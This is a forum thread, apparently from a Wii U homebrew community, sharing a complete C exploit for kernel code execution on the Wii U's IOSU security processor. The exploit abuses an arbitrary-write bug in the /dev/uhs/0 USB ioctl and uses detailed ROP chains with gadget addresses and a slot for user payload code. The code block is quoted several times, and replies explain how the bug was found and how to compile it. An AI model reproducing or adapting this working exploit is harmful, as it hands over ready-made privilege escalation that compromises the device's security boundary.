So, for anyone that wants to know, now we really got IOSU as I understand it.Here's IOSU kernel code execution (using the IOS_CreateThread vector which is described on wiiubrew):
Code://Main.c #include <string.h> #include <stdarg.h> #include <stdlib.h> #include <malloc.h> #include <unistd.h> #include "dynamic_libs/os_functions.h" #include "dynamic_libs/fs_functions.h" #include "dynamic_libs/gx2_functions.h" #include "dynamic_libs/sys_functions.h" #include "dynamic_libs/vpad_functions.h" #include "dynamic_libs/padscore_functions.h" #include "dynamic_libs/socket_functions.h" #include "dynamic_libs/ax_functions.h" #include "fs/fs_utils.h" #include "fs/sd_fat_devoptab.h" #include "system/memory.h" #include "utils/logger.h" #include "utils/utils.h" #include "common/common.h" #include "main.h" int dev_uhs_0_handle; /* YOUR ARM CODE HERE (starts at 0x08122500) */ int execute_me[] = { 0xE3A00000, // MOV R0, #0 0xE12FFF1E, // BX LR }; #define CHAIN_START 0x1016AD40 #define SHUTDOWN 0x1012EE4C #define SIMPLE_RETURN 0x101014E4 #define SOURCE (0x120000) #define IOS_CREATETHREAD 0x1012EABC /* ROP CHAIN STARTS HERE (0x1015BD78) */ int final_chain[] = { 0x101236f3, // 0x00 POP {R1-R7,PC} 0x0, // 0x04 arg 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR 0x68, // 0x0C stacksize 0x10101638, // 0x10 0x0, // 0x14 0x0, // 0x18 0x0, // 0x1C 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} 0x0, // 0x24 0x0, // 0x28 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x30 0x0, // 0x34 IOS_CREATETHREAD, // 0x38 0x1, // 0x3C 0x2, // 0x40 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} 0x0812A314, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xEE030F10, // 0x4C value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) 0x0, // 0x50 0x10123a8b, // 0x54 POP {R3,R4,PC} 0x1, // 0x58 R3 must be 1 for the arbitrary write 0x0, // 0x5C 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x64 0x0, // 0x68 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) 0x0, // 0x70 0x0, // 0x74 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} 0x0812A314 + 0x4, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE1A0D001, // 0x80 value: MOV SP, R1 0x0, // 0x84 0x10123a8b, // 0x88 POP {R3,R4,PC} 0x1, // 0x8C R3 must be 1 for the arbitrary write 0x0, // 0x90 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x98 0x0, // 0x9C 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) 0x0, // 0xA4 0x0, // 0xA8 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} 0x0812A314 + 0x8, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE8BD800F, // 0xB4 value: LDMFD SP!, {R0-R3,PC} 0x0, // 0xB8 0x10123a8b, // 0xBC POP {R3,R4,PC} 0x1, // 0xC0 R3 must be 1 for the arbitrary write 0x0, // 0xC4 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0xCC 0x0, // 0xD0 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) 0x0, // 0xD8 0x0, // 0xDC 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} 0xFFFFFFFF, // 0xE4 enable read/write everywhere 0x1015BD78 + 0xF4, // 0xE8 location of privileged stack 0x0, // 0xEC 0x1012EB8C, // 0xF0 IOS_GetUpTime64 (privileged stack pivot) (ends in LDMFD SP!, {R0-R3,PC}) 0x08122500, // 0xF4 destination 0x00140000, // 0xF8 source sizeof(execute_me),// 0xFC length 0x0, // 0x100 0x08131AE4, // 0x104 BL KERNEL_MEMCPY; MOV R0, R4; ADD SP, SP, #8; LDMFD SP!, {R4-R8,PC} 0x0, // 0x108 0x0, // 0x10C 0xFFFFDC48, // 0x110 Will be the LR: shutdown syscall 0x0, // 0x114 0x0, // 0x118 0x0, // 0x11C 0x0, // 0x120 0x0812A124, // 0x124 MOV LR, R4; MOV R0, LR; LDMFD SP!, {R4,PC} 0x0, // 0x128 0x08122500, // 0x12C Jump to code! }; int second_chain[] = { 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination 0x0, // 0x08 0x0, // 0x0C 0x101063db, // 0x10 POP {R1,R2,R5,PC} 0x00130000, // 0x14 source sizeof(final_chain), // 0x18 length 0x0, // 0x1C 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} 0x0, // 0x24 0x0, // 0x28 0x101236f3, // 0x2C POP {R1-R7,PC} 0x0, // 0x30 arg 0x101001DC, // 0x34 stackptr 0x68, // 0x38 stacksize 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} 0x0, // 0x40 0x0, // 0x44 0x0, // 0x48 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} 0x0, // 0x50 0x0, // 0x54 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x5C 0x0, // 0x60 IOS_CREATETHREAD, // 0x64 0x1, // 0x68 priority 0x2, // 0x6C flags 0x0, // 0x70 0x0, // 0x74 0x101063db, // 0x78 POP {R1,R2,R5,PC} 0x0, // 0x7C -(0x240 + 0xF000), // 0x80 stack offset 0x0, // 0x84 0x1011D424, // 0x88 LDMFD SP!, {R4-R11,PC} 0x0, // 0x8C 0x0, // 0x90 0x0, // 0x94 0x0, // 0x98 0x0, // 0x9C 0x0, // 0xA0 0x0, // 0xA4 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack 0x1012EA68, // 0xAC stack pivot }; int Menu_Main(void) { //!---------INIT--------- InitOSFunctionPointers(); //! Init coreinit functions adresses dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node uhs_exploit_init(); //! Init variables for the exploit //!------ROP CHAIN------- uhs_write32(CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); uhs_write32(CHAIN_START + 0x10, 0x1011814C); uhs_write32(CHAIN_START + 0xC, SOURCE); uhs_write32(CHAIN_START, 0x1012392b); // pop {R4-R6,PC} //!--------DEINIT-------- IOS_Close(dev_uhs_0_handle); //! Close /dev/uhs/0 IOS node return EXIT_SUCCESS; //! Exit from HBL } //!------Variables used in exploit------ int *pretend_root_hub = (int*)0xF5003ABC; int *ayylmao = (int*)0xF4500000; //!------------------------------------- void uhs_exploit_init() { ayylmao[5] = 1; ayylmao[8] = 0x500000; memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain)); memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain)); memcpy((char*)(0xF4140000), execute_me, sizeof(execute_me)); pretend_root_hub[33] = 0x500000; pretend_root_hub[78] = 0; DCFlushRange(pretend_root_hub + 33, 200); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange(pretend_root_hub + 33, 200); //! |for "pretend_root_hub" DCFlushRange((void*)0xF4120000, sizeof(second_chain)); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange((void*)0xF4120000, sizeof(second_chain)); //! |for second chain inside MEM1 DCFlushRange((void*)0xF4130000, sizeof(final_chain)); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange((void*)0xF4130000, sizeof(final_chain)); //! |for final chain inside MEM1 DCFlushRange((void*)0xF4140000, sizeof(execute_me)); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange((void*)0xF4140000, sizeof(execute_me)); //! |for final chain inside MEM1 } int uhs_write32(int arm_addr, int val) { ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes DCFlushRange(ayylmao, 521 * 4); //! |Make CPU fetch new data (with updated adress) DCInvalidateRange(ayylmao, 521 * 4); //! |for "ayylmao" OSSleepTicks(0x200000); //! Improves stability int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1 int output_buffer[32]; return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); }
Put your code into execute_me and it'll execute. You have about 0x5D0 bytes of space. The above code will simply shut your console down as a demonstration.
So, for anyone that wants to know, now we really got IOSU as I understand it.
This should be in first page of the thread.Here's IOSU kernel code execution (using the IOS_CreateThread vector which is described on wiiubrew):
Code://Main.c #include <string.h> #include <stdarg.h> #include <stdlib.h> #include <malloc.h> #include <unistd.h> #include "dynamic_libs/os_functions.h" #include "dynamic_libs/fs_functions.h" #include "dynamic_libs/gx2_functions.h" #include "dynamic_libs/sys_functions.h" #include "dynamic_libs/vpad_functions.h" #include "dynamic_libs/padscore_functions.h" #include "dynamic_libs/socket_functions.h" #include "dynamic_libs/ax_functions.h" #include "fs/fs_utils.h" #include "fs/sd_fat_devoptab.h" #include "system/memory.h" #include "utils/logger.h" #include "utils/utils.h" #include "common/common.h" #include "main.h" int dev_uhs_0_handle; /* YOUR ARM CODE HERE (starts at 0x08122500) */ int execute_me[] = { 0xE3A00000, // MOV R0, #0 0xE12FFF1E, // BX LR }; #define CHAIN_START 0x1016AD40 #define SHUTDOWN 0x1012EE4C #define SIMPLE_RETURN 0x101014E4 #define SOURCE (0x120000) #define IOS_CREATETHREAD 0x1012EABC /* ROP CHAIN STARTS HERE (0x1015BD78) */ int final_chain[] = { 0x101236f3, // 0x00 POP {R1-R7,PC} 0x0, // 0x04 arg 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR 0x68, // 0x0C stacksize 0x10101638, // 0x10 0x0, // 0x14 0x0, // 0x18 0x0, // 0x1C 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} 0x0, // 0x24 0x0, // 0x28 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x30 0x0, // 0x34 IOS_CREATETHREAD, // 0x38 0x1, // 0x3C 0x2, // 0x40 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} 0x0812A314, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xEE030F10, // 0x4C value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) 0x0, // 0x50 0x10123a8b, // 0x54 POP {R3,R4,PC} 0x1, // 0x58 R3 must be 1 for the arbitrary write 0x0, // 0x5C 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x64 0x0, // 0x68 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) 0x0, // 0x70 0x0, // 0x74 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} 0x0812A314 + 0x4, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE1A0D001, // 0x80 value: MOV SP, R1 0x0, // 0x84 0x10123a8b, // 0x88 POP {R3,R4,PC} 0x1, // 0x8C R3 must be 1 for the arbitrary write 0x0, // 0x90 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x98 0x0, // 0x9C 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) 0x0, // 0xA4 0x0, // 0xA8 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} 0x0812A314 + 0x8, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE8BD800F, // 0xB4 value: LDMFD SP!, {R0-R3,PC} 0x0, // 0xB8 0x10123a8b, // 0xBC POP {R3,R4,PC} 0x1, // 0xC0 R3 must be 1 for the arbitrary write 0x0, // 0xC4 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0xCC 0x0, // 0xD0 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) 0x0, // 0xD8 0x0, // 0xDC 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} 0xFFFFFFFF, // 0xE4 enable read/write everywhere 0x1015BD78 + 0xF4, // 0xE8 location of privileged stack 0x0, // 0xEC 0x1012EB8C, // 0xF0 IOS_GetUpTime64 (privileged stack pivot) (ends in LDMFD SP!, {R0-R3,PC}) 0x08122500, // 0xF4 destination 0x00140000, // 0xF8 source sizeof(execute_me),// 0xFC length 0x0, // 0x100 0x08131AE4, // 0x104 BL KERNEL_MEMCPY; MOV R0, R4; ADD SP, SP, #8; LDMFD SP!, {R4-R8,PC} 0x0, // 0x108 0x0, // 0x10C 0xFFFFDC48, // 0x110 Will be the LR: shutdown syscall 0x0, // 0x114 0x0, // 0x118 0x0, // 0x11C 0x0, // 0x120 0x0812A124, // 0x124 MOV LR, R4; MOV R0, LR; LDMFD SP!, {R4,PC} 0x0, // 0x128 0x08122500, // 0x12C Jump to code! }; int second_chain[] = { 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination 0x0, // 0x08 0x0, // 0x0C 0x101063db, // 0x10 POP {R1,R2,R5,PC} 0x00130000, // 0x14 source sizeof(final_chain), // 0x18 length 0x0, // 0x1C 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} 0x0, // 0x24 0x0, // 0x28 0x101236f3, // 0x2C POP {R1-R7,PC} 0x0, // 0x30 arg 0x101001DC, // 0x34 stackptr 0x68, // 0x38 stacksize 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} 0x0, // 0x40 0x0, // 0x44 0x0, // 0x48 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} 0x0, // 0x50 0x0, // 0x54 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x5C 0x0, // 0x60 IOS_CREATETHREAD, // 0x64 0x1, // 0x68 priority 0x2, // 0x6C flags 0x0, // 0x70 0x0, // 0x74 0x101063db, // 0x78 POP {R1,R2,R5,PC} 0x0, // 0x7C -(0x240 + 0xF000), // 0x80 stack offset 0x0, // 0x84 0x1011D424, // 0x88 LDMFD SP!, {R4-R11,PC} 0x0, // 0x8C 0x0, // 0x90 0x0, // 0x94 0x0, // 0x98 0x0, // 0x9C 0x0, // 0xA0 0x0, // 0xA4 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack 0x1012EA68, // 0xAC stack pivot }; int Menu_Main(void) { //!---------INIT--------- InitOSFunctionPointers(); //! Init coreinit functions adresses dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node uhs_exploit_init(); //! Init variables for the exploit //!------ROP CHAIN------- uhs_write32(CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); uhs_write32(CHAIN_START + 0x10, 0x1011814C); uhs_write32(CHAIN_START + 0xC, SOURCE); uhs_write32(CHAIN_START, 0x1012392b); // pop {R4-R6,PC} //!--------DEINIT-------- IOS_Close(dev_uhs_0_handle); //! Close /dev/uhs/0 IOS node return EXIT_SUCCESS; //! Exit from HBL } //!------Variables used in exploit------ int *pretend_root_hub = (int*)0xF5003ABC; int *ayylmao = (int*)0xF4500000; //!------------------------------------- void uhs_exploit_init() { ayylmao[5] = 1; ayylmao[8] = 0x500000; memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain)); memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain)); memcpy((char*)(0xF4140000), execute_me, sizeof(execute_me)); pretend_root_hub[33] = 0x500000; pretend_root_hub[78] = 0; DCFlushRange(pretend_root_hub + 33, 200); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange(pretend_root_hub + 33, 200); //! |for "pretend_root_hub" DCFlushRange((void*)0xF4120000, sizeof(second_chain)); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange((void*)0xF4120000, sizeof(second_chain)); //! |for second chain inside MEM1 DCFlushRange((void*)0xF4130000, sizeof(final_chain)); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange((void*)0xF4130000, sizeof(final_chain)); //! |for final chain inside MEM1 DCFlushRange((void*)0xF4140000, sizeof(execute_me)); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange((void*)0xF4140000, sizeof(execute_me)); //! |for final chain inside MEM1 } int uhs_write32(int arm_addr, int val) { ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes DCFlushRange(ayylmao, 521 * 4); //! |Make CPU fetch new data (with updated adress) DCInvalidateRange(ayylmao, 521 * 4); //! |for "ayylmao" OSSleepTicks(0x200000); //! Improves stability int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1 int output_buffer[32]; return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); }
Put your code into execute_me and it'll execute. You have about 0x5D0 bytes of space. The above code will simply shut your console down as a demonstration.
Nope, this is what I'm saying. The buttom of page 4 is an exploit. But there's nothing that runs yet on IOSU, so...Not until someone writes code to exploit IOSU. go ahead and compile this into an elf if you like and enjoy watching your WiiU reboot. That is all that we have been given by @Hillary_Clinton
This is purely for Developers to get a start on writing their own exploit which will allow them access to IOSU
it uses the same exploit, so, yesCan't smea's iosuhax be used as a starting point?
https://github.com/smealum/iosuhax
I didn't find the IOSU syscall table myself, although I understand how it must have been found. The syscall handler is installed at address 0xFFFF0004. It is located at 0x0812DD6C. You can see that at address 0x0812DDF4 the syscall handler loads the address of the syscall table (0x081419F0) and uses the syscall number as an index into this table to find the address of the code for that particular syscall. That's how the syscall table and the code for each syscall must have been found. The negative value of the root hub index: it was just an arbitrary value that I chose to make the read end up in the middle of MEM1. I knew from reading the vulnerable code in IDA that a root hub structure is 0x144 bytes and that the root hub structures were located in IOS-USB's internal structure at offset 0x39EC. I knew the structure must have been located at the beginning of IOS-USB's local process heap at 0x10146060, but I didn't know where exactly at the time so I just sprayed the area in MEM1 where I thought it would read from with the appropriate values. I didn't know whether the read from MEM1 would actually work; I just tried it and it worked. I knew where MEM1 was mapped on the PPC side and the ARM side from reading the wiiubrew wiki. I hope I've answered your questions.Hey @Hillary_Clinton !
Could we have more detail on it, like how have you found the IOSU Syscalls address and about the negative value of the root hub index (how did it redirect to the middle of mem1) because i might be interested on helping you (i didn't went that deep into arm side of the wii u)
Yeah, you have to modify some dynamic libs files. Download the .zip from my post here. Replace the main.c with the exploit code. Then merge the src folder into dimok's hello world example. That ought to work.Just like this how to compile it? It give me some error when replacing dimok's main.c with the main.c from here...
Here's IOSU kernel code execution (using the IOS_CreateThread vector which is described on wiiubrew):
Code://Main.c #include <string.h> #include <stdarg.h> #include <stdlib.h> #include <malloc.h> #include <unistd.h> #include "dynamic_libs/os_functions.h" #include "dynamic_libs/fs_functions.h" #include "dynamic_libs/gx2_functions.h" #include "dynamic_libs/sys_functions.h" #include "dynamic_libs/vpad_functions.h" #include "dynamic_libs/padscore_functions.h" #include "dynamic_libs/socket_functions.h" #include "dynamic_libs/ax_functions.h" #include "fs/fs_utils.h" #include "fs/sd_fat_devoptab.h" #include "system/memory.h" #include "utils/logger.h" #include "utils/utils.h" #include "common/common.h" #include "main.h" int dev_uhs_0_handle; /* YOUR ARM CODE HERE (starts at 0x08122500) */ int execute_me[] = { 0xE3A00000, // MOV R0, #0 0xE12FFF1E, // BX LR }; #define CHAIN_START 0x1016AD40 #define SHUTDOWN 0x1012EE4C #define SIMPLE_RETURN 0x101014E4 #define SOURCE (0x120000) #define IOS_CREATETHREAD 0x1012EABC /* ROP CHAIN STARTS HERE (0x1015BD78) */ int final_chain[] = { 0x101236f3, // 0x00 POP {R1-R7,PC} 0x0, // 0x04 arg 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR 0x68, // 0x0C stacksize 0x10101638, // 0x10 0x0, // 0x14 0x0, // 0x18 0x0, // 0x1C 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} 0x0, // 0x24 0x0, // 0x28 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x30 0x0, // 0x34 IOS_CREATETHREAD, // 0x38 0x1, // 0x3C 0x2, // 0x40 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} 0x0812A314, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xEE030F10, // 0x4C value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) 0x0, // 0x50 0x10123a8b, // 0x54 POP {R3,R4,PC} 0x1, // 0x58 R3 must be 1 for the arbitrary write 0x0, // 0x5C 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x64 0x0, // 0x68 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) 0x0, // 0x70 0x0, // 0x74 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} 0x0812A314 + 0x4, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE1A0D001, // 0x80 value: MOV SP, R1 0x0, // 0x84 0x10123a8b, // 0x88 POP {R3,R4,PC} 0x1, // 0x8C R3 must be 1 for the arbitrary write 0x0, // 0x90 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x98 0x0, // 0x9C 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) 0x0, // 0xA4 0x0, // 0xA8 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} 0x0812A314 + 0x8, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE8BD800F, // 0xB4 value: LDMFD SP!, {R0-R3,PC} 0x0, // 0xB8 0x10123a8b, // 0xBC POP {R3,R4,PC} 0x1, // 0xC0 R3 must be 1 for the arbitrary write 0x0, // 0xC4 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0xCC 0x0, // 0xD0 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) 0x0, // 0xD8 0x0, // 0xDC 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} 0xFFFFFFFF, // 0xE4 enable read/write everywhere 0x1015BD78 + 0xF4, // 0xE8 location of privileged stack 0x0, // 0xEC 0x1012EB8C, // 0xF0 IOS_GetUpTime64 (privileged stack pivot) (ends in LDMFD SP!, {R0-R3,PC}) 0x08122500, // 0xF4 destination 0x00140000, // 0xF8 source sizeof(execute_me),// 0xFC length 0x0, // 0x100 0x08131AE4, // 0x104 BL KERNEL_MEMCPY; MOV R0, R4; ADD SP, SP, #8; LDMFD SP!, {R4-R8,PC} 0x0, // 0x108 0x0, // 0x10C 0xFFFFDC48, // 0x110 Will be the LR: shutdown syscall 0x0, // 0x114 0x0, // 0x118 0x0, // 0x11C 0x0, // 0x120 0x0812A124, // 0x124 MOV LR, R4; MOV R0, LR; LDMFD SP!, {R4,PC} 0x0, // 0x128 0x08122500, // 0x12C Jump to code! }; int second_chain[] = { 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination 0x0, // 0x08 0x0, // 0x0C 0x101063db, // 0x10 POP {R1,R2,R5,PC} 0x00130000, // 0x14 source sizeof(final_chain), // 0x18 length 0x0, // 0x1C 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} 0x0, // 0x24 0x0, // 0x28 0x101236f3, // 0x2C POP {R1-R7,PC} 0x0, // 0x30 arg 0x101001DC, // 0x34 stackptr 0x68, // 0x38 stacksize 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} 0x0, // 0x40 0x0, // 0x44 0x0, // 0x48 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} 0x0, // 0x50 0x0, // 0x54 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x5C 0x0, // 0x60 IOS_CREATETHREAD, // 0x64 0x1, // 0x68 priority 0x2, // 0x6C flags 0x0, // 0x70 0x0, // 0x74 0x101063db, // 0x78 POP {R1,R2,R5,PC} 0x0, // 0x7C -(0x240 + 0xF000), // 0x80 stack offset 0x0, // 0x84 0x1011D424, // 0x88 LDMFD SP!, {R4-R11,PC} 0x0, // 0x8C 0x0, // 0x90 0x0, // 0x94 0x0, // 0x98 0x0, // 0x9C 0x0, // 0xA0 0x0, // 0xA4 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack 0x1012EA68, // 0xAC stack pivot }; int Menu_Main(void) { //!---------INIT--------- InitOSFunctionPointers(); //! Init coreinit functions adresses dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node uhs_exploit_init(); //! Init variables for the exploit //!------ROP CHAIN------- uhs_write32(CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); uhs_write32(CHAIN_START + 0x10, 0x1011814C); uhs_write32(CHAIN_START + 0xC, SOURCE); uhs_write32(CHAIN_START, 0x1012392b); // pop {R4-R6,PC} //!--------DEINIT-------- IOS_Close(dev_uhs_0_handle); //! Close /dev/uhs/0 IOS node return EXIT_SUCCESS; //! Exit from HBL } //!------Variables used in exploit------ int *pretend_root_hub = (int*)0xF5003ABC; int *ayylmao = (int*)0xF4500000; //!------------------------------------- void uhs_exploit_init() { ayylmao[5] = 1; ayylmao[8] = 0x500000; memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain)); memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain)); memcpy((char*)(0xF4140000), execute_me, sizeof(execute_me)); pretend_root_hub[33] = 0x500000; pretend_root_hub[78] = 0; DCFlushRange(pretend_root_hub + 33, 200); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange(pretend_root_hub + 33, 200); //! |for "pretend_root_hub" DCFlushRange((void*)0xF4120000, sizeof(second_chain)); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange((void*)0xF4120000, sizeof(second_chain)); //! |for second chain inside MEM1 DCFlushRange((void*)0xF4130000, sizeof(final_chain)); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange((void*)0xF4130000, sizeof(final_chain)); //! |for final chain inside MEM1 DCFlushRange((void*)0xF4140000, sizeof(execute_me)); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange((void*)0xF4140000, sizeof(execute_me)); //! |for final chain inside MEM1 } int uhs_write32(int arm_addr, int val) { ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes DCFlushRange(ayylmao, 521 * 4); //! |Make CPU fetch new data (with updated adress) DCInvalidateRange(ayylmao, 521 * 4); //! |for "ayylmao" OSSleepTicks(0x200000); //! Improves stability int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1 int output_buffer[32]; return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); }
Put your code into execute_me and it'll execute. You have about 0x5D0 bytes of space. The above code will simply shut your console down as a demonstration.
Still better than Donald f*cking drumpf.Plus did you really have to pick such a disgusting username?
It's kinda hard to be thankful to Hillary.
This is it, gg. IOSU is dead.Here's IOSU kernel code execution (using the IOS_CreateThread vector which is described on wiiubrew):
Code://Main.c #include <string.h> #include <stdarg.h> #include <stdlib.h> #include <malloc.h> #include <unistd.h> #include "dynamic_libs/os_functions.h" #include "dynamic_libs/fs_functions.h" #include "dynamic_libs/gx2_functions.h" #include "dynamic_libs/sys_functions.h" #include "dynamic_libs/vpad_functions.h" #include "dynamic_libs/padscore_functions.h" #include "dynamic_libs/socket_functions.h" #include "dynamic_libs/ax_functions.h" #include "fs/fs_utils.h" #include "fs/sd_fat_devoptab.h" #include "system/memory.h" #include "utils/logger.h" #include "utils/utils.h" #include "common/common.h" #include "main.h" int dev_uhs_0_handle; /* YOUR ARM CODE HERE (starts at 0x08122500) */ int execute_me[] = { 0xE3A00000, // MOV R0, #0 0xE12FFF1E, // BX LR }; #define CHAIN_START 0x1016AD40 #define SHUTDOWN 0x1012EE4C #define SIMPLE_RETURN 0x101014E4 #define SOURCE (0x120000) #define IOS_CREATETHREAD 0x1012EABC /* ROP CHAIN STARTS HERE (0x1015BD78) */ int final_chain[] = { 0x101236f3, // 0x00 POP {R1-R7,PC} 0x0, // 0x04 arg 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR 0x68, // 0x0C stacksize 0x10101638, // 0x10 0x0, // 0x14 0x0, // 0x18 0x0, // 0x1C 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} 0x0, // 0x24 0x0, // 0x28 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 